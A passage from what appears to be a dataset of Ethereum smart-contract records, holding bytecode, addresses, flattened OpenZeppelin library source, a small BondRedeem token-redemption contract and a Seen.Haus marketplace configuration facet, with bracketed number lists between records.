727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b50565b7f696e73756666696369656e742066756e64730000000000000000000000000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b613c0381613481565b8114613c0e57600080fd5b50565b613c1a81613493565b8114613c2557600080fd5b50565b613c318161349f565b8114613c3c57600080fd5b50565b613c48816134eb565b8114613c5357600080fd5b5056fea264697066735822122076b9fdae4acdad7631296579c1143d5fee6406a9c1890c754564814a61acf67564736f6c63430008070033
[ 5, 4, 7 ]
0xf38B6Af0C5a21b9aF4ae54Ced8F38e1732Bb3ef9
// File: @openzeppelin/contracts/GSN/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/BondRedeem.sol pragma solidity ^0.6.0; contract BondRedeem is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; address public cash; address public bond; address public bondCore; uint256 public redeemPrice = 10**18; constructor( address _cash, address _bond, address _bondCore ) public { cash = _cash; bond = _bond; bondCore = _bondCore; } function setRedeemPrice(uint256 _price) public onlyOwner { redeemPrice = _price; } function redeem(uint256 amount) public { IERC20(bond).safeTransferFrom(msg.sender, bondCore, amount); IERC20(cash).safeTransfer(msg.sender, amount.mul(redeemPrice).div(10**18)); } function claimToken(address token, address to, uint256 amount) public onlyOwner { IERC20(token).safeTransfer(to, amount); } }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80638da5cb5b116100665780638da5cb5b1461013e578063961be39114610146578063db006a751461014e578063e5fbca281461016b578063f2fde38b146101735761009e565b8063125bfb66146100a35780632adf13e9146100db57806364c9ec6f146100f8578063715018a61461011c5780637a233fb314610124575b600080fd5b6100d9600480360360608110156100b957600080fd5b506001600160a01b03813581169160208101359091169060400135610199565b005b6100d9600480360360208110156100f157600080fd5b503561020a565b610100610267565b604080516001600160a01b039092168252519081900360200190f35b6100d9610276565b61012c610318565b60408051918252519081900360200190f35b61010061031e565b61010061032d565b6100d96004803603602081101561016457600080fd5b503561033c565b61010061039c565b6100d96004803603602081101561018957600080fd5b50356001600160a01b03166103ab565b6101a16104a3565b6000546001600160a01b039081169116146101f1576040805162461bcd60e51b81526020600482018190526024820152600080516020610922833981519152604482015290519081900360640190fd5b6102056001600160a01b03841683836104a7565b505050565b6102126104a3565b6000546001600160a01b03908116911614610262576040805162461bcd60e51b81526020600482018190526024820152600080516020610922833981519152604482015290519081900360640190fd5b600455565b6002546001600160a01b031681565b61027e6104a3565b6000546001600160a01b039081169116146102ce576040805162461bcd60e51b81526020600482018190526024820152600080516020610922833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60045481565b6000546001600160a01b031690565b6001546001600160a01b031681565b60035460025461035b916001600160a01b0391821691339116846104f9565b61039933610386670de0b6b3a76400006103806004548661055990919063ffffffff16565b906105bb565b6001546001600160a01b031691906104a7565b50565b6003546001600160a01b031681565b6103b36104a3565b6000546001600160a01b03908116911614610403576040805162461bcd60e51b81526020600482018190526024820152600080516020610922833981519152604482015290519081900360640190fd5b6001600160a01b0381166104485760405162461bcd60e51b81526004018080602001828103825260268152602001806108db6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526102059084906105fd565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526105539085906105fd565b50505050565b600082610568575060006105b5565b8282028284828161057557fe5b04146105b25760405162461bcd60e51b81526004018080602001828103825260218152602001806109016021913960400191505060405180910390fd5b90505b92915050565b60006105b283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506106ae565b6060610652826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166107509092919063ffffffff16565b8051909150156102055780806020019051602081101561067157600080fd5b50516102055760405162461bcd60e51b815260040180806020018281038252602a815260200180610942602a913960400191505060405180910390fd5b6000818361073a5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156106ff5781810151838201526020016106e7565b50505050905090810190601f16801561072c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161074657fe5b0495945050505050565b606061075f8484600085610767565b949350505050565b6060610772856108d4565b6107c3576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106108025780518252601f1990920191602091820191016107e3565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610864576040519150601f19603f3d011682016040523d82523d6000602084013e610869565b606091505b5091509150811561087d57915061075f9050565b80511561088d5780518082602001fd5b60405162461bcd60e51b81526020600482018181528651602484015286518793919283926044019190850190808383600083156106ff5781810151838201526020016106e7565b3b15159056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220c3dd5faea8515350bacf1fa53540e8168827d4b6a8448f7791081cf29a47ca9b64736f6c634300060c0033
[ 38 ]
0xF38bB7d7c121a7B09CCBd1f039860B21A6114Ed0
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.0; import "../../../interfaces/IMarketController.sol"; import "../../../interfaces/IMarketConfig.sol"; import "../../../interfaces/IMarketClerk.sol"; import "../../diamond/DiamondLib.sol"; import "../MarketControllerBase.sol"; import "../MarketControllerLib.sol"; /** * @title MarketConfigFacet * * @notice Provides centralized management of various market-related settings. * * @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows) */ contract MarketConfigFacet is IMarketConfig, MarketControllerBase { /** * @dev Modifier to protect initializer function from being invoked twice. */ modifier onlyUnInitialized() { MarketControllerLib.MarketControllerInitializers storage mci = MarketControllerLib.marketControllerInitializers(); require(!mci.configFacet, "Initializer: contract is already initialized"); mci.configFacet = true; _; } /** * @notice Facet Initializer * * @param _staking - Seen.Haus staking contract * @param _multisig - Seen.Haus multi-sig wallet * @param _vipStakerAmount - the minimum amount of xSEEN ERC-20 a caller must hold to participate in VIP events * @param _primaryFeePercentage - percentage that will be taken as a fee from the net of a Seen.Haus primary sale or auction * @param _secondaryFeePercentage - percentage that will be taken as a fee from the net of a Seen.Haus secondary sale or auction (after royalties) * @param _maxRoyaltyPercentage - maximum percentage of a Seen.Haus sale or auction that will be paid as a royalty * @param _outBidPercentage - minimum percentage a Seen.Haus auction bid must be above the previous bid to prevail * @param _defaultTicketerType - which ticketer type to use if none has been specified for a given consignment */ function initialize( address payable _staking, address payable _multisig, uint256 _vipStakerAmount, uint16 _primaryFeePercentage, uint16 _secondaryFeePercentage, uint16 _maxRoyaltyPercentage, uint16 _outBidPercentage, Ticketer _defaultTicketerType ) public onlyUnInitialized { // Register supported interfaces DiamondLib.addSupportedInterface(type(IMarketConfig).interfaceId); // when combined with IMarketClerk ... DiamondLib.addSupportedInterface(type(IMarketConfig).interfaceId ^ type(IMarketClerk).interfaceId); // ... supports IMarketController // Initialize market config params MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); mcs.staking = _staking; mcs.multisig = _multisig; mcs.vipStakerAmount = _vipStakerAmount; mcs.primaryFeePercentage = _primaryFeePercentage; mcs.secondaryFeePercentage = _secondaryFeePercentage; mcs.maxRoyaltyPercentage = _maxRoyaltyPercentage; mcs.outBidPercentage = _outBidPercentage; mcs.defaultTicketerType = _defaultTicketerType; } /** * @notice Sets the address of the SEEN NFT contract. * * Emits a NFTAddressChanged event. * * @param _nft - the address of the nft contract */ function setNft(address _nft) external override onlyRole(MULTISIG) { MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); mcs.nft = _nft; emit NFTAddressChanged(_nft); } /** * @notice The nft getter */ function getNft() external override view returns (address) { MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); return mcs.nft; } /** * @notice Sets the address of the Seen.Haus lots-based escrow ticketer contract. * * Emits a EscrowTicketerAddressChanged event. * * @param _lotsTicketer - the address of the lots-based escrow ticketer contract */ function setLotsTicketer(address _lotsTicketer) external override onlyRole(MULTISIG) { MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); mcs.lotsTicketer = _lotsTicketer; emit EscrowTicketerAddressChanged(mcs.lotsTicketer, Ticketer.Lots); } /** * @notice The lots-based escrow ticketer getter */ function getLotsTicketer() external override view returns (address) { MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); return mcs.lotsTicketer; } /** * @notice Sets the address of the Seen.Haus items-based escrow ticketer contract. * * Emits a EscrowTicketerAddressChanged event. * * @param _itemsTicketer - the address of the items-based escrow ticketer contract */ function setItemsTicketer(address _itemsTicketer) external override onlyRole(MULTISIG) { MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); mcs.itemsTicketer = _itemsTicketer; emit EscrowTicketerAddressChanged(mcs.itemsTicketer, Ticketer.Items); } /** * @notice The items-based ticketer getter */ function getItemsTicketer() external override view returns (address) { MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); return mcs.itemsTicketer; } /** * @notice Sets the address of the xSEEN ERC-20 staking contract. * * Emits a StakingAddressChanged event. * * @param _staking - the address of the staking contract */ function setStaking(address payable _staking) external override onlyRole(MULTISIG) { MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); mcs.staking = _staking; emit StakingAddressChanged(mcs.staking); } /** * @notice The staking getter */ function getStaking() external override view returns (address payable) { MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); return mcs.staking; } /** * @notice Sets the address of the Seen.Haus multi-sig wallet. * * Emits a MultisigAddressChanged event. * * @param _multisig - the address of the multi-sig wallet */ function setMultisig(address payable _multisig) external override onlyRole(MULTISIG) { MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); mcs.multisig = _multisig; emit MultisigAddressChanged(mcs.multisig); } /** * @notice The multisig getter */ function getMultisig() external override view returns (address payable) { MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); return mcs.multisig; } /** * @notice Sets the VIP staker amount. * * Emits a VipStakerAmountChanged event. * * @param _vipStakerAmount - the minimum amount of xSEEN ERC-20 a caller must hold to participate in VIP events */ function setVipStakerAmount(uint256 _vipStakerAmount) external override onlyRole(MULTISIG) { MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); mcs.vipStakerAmount = _vipStakerAmount; emit VipStakerAmountChanged(mcs.vipStakerAmount); } /** * @notice The vipStakerAmount getter */ function getVipStakerAmount() external override view returns (uint256) { MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); return mcs.vipStakerAmount; } /** * @notice Sets the marketplace fee percentage. * Emits a PrimaryFeePercentageChanged event. * * @param _primaryFeePercentage - the percentage that will be taken as a fee from the net of a Seen.Haus primary sale or auction * * N.B. Represent percentage value as an unsigned int by multiplying the percentage by 100: * e.g, 1.75% = 175, 100% = 10000 */ function setPrimaryFeePercentage(uint16 _primaryFeePercentage) external override onlyRole(MULTISIG) { require(_primaryFeePercentage > 0 && _primaryFeePercentage <= 10000, "Percentage representation must be between 1 and 10000"); MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); mcs.primaryFeePercentage = _primaryFeePercentage; emit PrimaryFeePercentageChanged(mcs.primaryFeePercentage); } /** * @notice Sets the marketplace fee percentage. * Emits a FeePercentageChanged event. * * @param _secondaryFeePercentage - the percentage that will be taken as a fee from the net of a Seen.Haus secondary sale or auction (after royalties) * * N.B. Represent percentage value as an unsigned int by multiplying the percentage by 100: * e.g, 1.75% = 175, 100% = 10000 */ function setSecondaryFeePercentage(uint16 _secondaryFeePercentage) external override onlyRole(MULTISIG) { require(_secondaryFeePercentage > 0 && _secondaryFeePercentage <= 10000, "Percentage representation must be between 1 and 10000"); MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); mcs.secondaryFeePercentage = _secondaryFeePercentage; emit SecondaryFeePercentageChanged(mcs.secondaryFeePercentage); } /** * @notice The primaryFeePercentage and secondaryFeePercentage getter */ function getFeePercentage(Market _market) external override view returns (uint16) { MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); if(_market == Market.Primary) { return mcs.primaryFeePercentage; } else { return mcs.secondaryFeePercentage; } } /** * @notice Sets the maximum royalty percentage the marketplace will pay. * * Emits a MaxRoyaltyPercentageChanged event. * * @param _maxRoyaltyPercentage - the maximum percentage of a Seen.Haus sale or auction that will be paid as a royalty * * N.B. Represent percentage value as an unsigned int by multiplying the percentage by 100: * e.g, 1.75% = 175, 100% = 10000 */ function setMaxRoyaltyPercentage(uint16 _maxRoyaltyPercentage) external override onlyRole(MULTISIG) { require(_maxRoyaltyPercentage > 0 && _maxRoyaltyPercentage <= 10000, "Percentage representation must be between 1 and 10000"); MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); mcs.maxRoyaltyPercentage = _maxRoyaltyPercentage; emit MaxRoyaltyPercentageChanged(mcs.maxRoyaltyPercentage); } /** * @notice The maxRoyaltyPercentage getter */ function getMaxRoyaltyPercentage() external override view returns (uint16) { MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); return mcs.maxRoyaltyPercentage; } /** * @notice Sets the marketplace auction outbid percentage. * * Emits a OutBidPercentageChanged event. * * @param _outBidPercentage - the minimum percentage a Seen.Haus auction bid must be above the previous bid to prevail * * N.B. Represent percentage value as an unsigned int by multiplying the percentage by 100: * e.g, 1.75% = 175, 100% = 10000 */ function setOutBidPercentage(uint16 _outBidPercentage) external override onlyRole(ADMIN) { require(_outBidPercentage > 0 && _outBidPercentage <= 10000, "Percentage representation must be between 1 and 10000"); MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); mcs.outBidPercentage = _outBidPercentage; emit OutBidPercentageChanged(mcs.outBidPercentage); } /** * @notice The outBidPercentage getter */ function getOutBidPercentage() external override view returns (uint16) { MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); return mcs.outBidPercentage; } /** * @notice Sets the default escrow ticketer type. * * Emits a DefaultTicketerTypeChanged event. * * Reverts if _ticketerType is Ticketer.Default * Reverts if _ticketerType is already the defaultTicketerType * * @param _ticketerType - the new default escrow ticketer type. */ function setDefaultTicketerType(Ticketer _ticketerType) external override onlyRole(ADMIN) { MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); require(_ticketerType != Ticketer.Default, "Invalid ticketer type."); require(_ticketerType != mcs.defaultTicketerType, "Type is already default."); mcs.defaultTicketerType = _ticketerType; emit DefaultTicketerTypeChanged(mcs.defaultTicketerType); } /** * @notice The defaultTicketerType getter */ function getDefaultTicketerType() external override view returns (Ticketer) { MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); return mcs.defaultTicketerType; } /** * @notice Get the Escrow Ticketer to be used for a given consignment * * If a specific ticketer has not been set for the consignment, * the default escrow ticketer will be returned. * * Reverts if consignment doesn't exist * * * @param _consignmentId - the id of the consignment * @return ticketer = the address of the escrow ticketer to use */ function getEscrowTicketer(uint256 _consignmentId) external override view consignmentExists(_consignmentId) returns (address) { MarketControllerLib.MarketControllerStorage storage mcs = MarketControllerLib.marketControllerStorage(); Ticketer specified = mcs.consignmentTicketers[_consignmentId]; Ticketer ticketerType = (specified == Ticketer.Default) ? mcs.defaultTicketerType : specified; return (ticketerType == Ticketer.Lots) ? mcs.lotsTicketer : mcs.itemsTicketer; } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.0; import "./IMarketConfig.sol"; import "./IMarketConfigAdditional.sol"; import "./IMarketClerk.sol"; /** * @title IMarketController * * @notice Manages configuration and consignments used by the Seen.Haus contract suite. * * The ERC-165 identifier for this 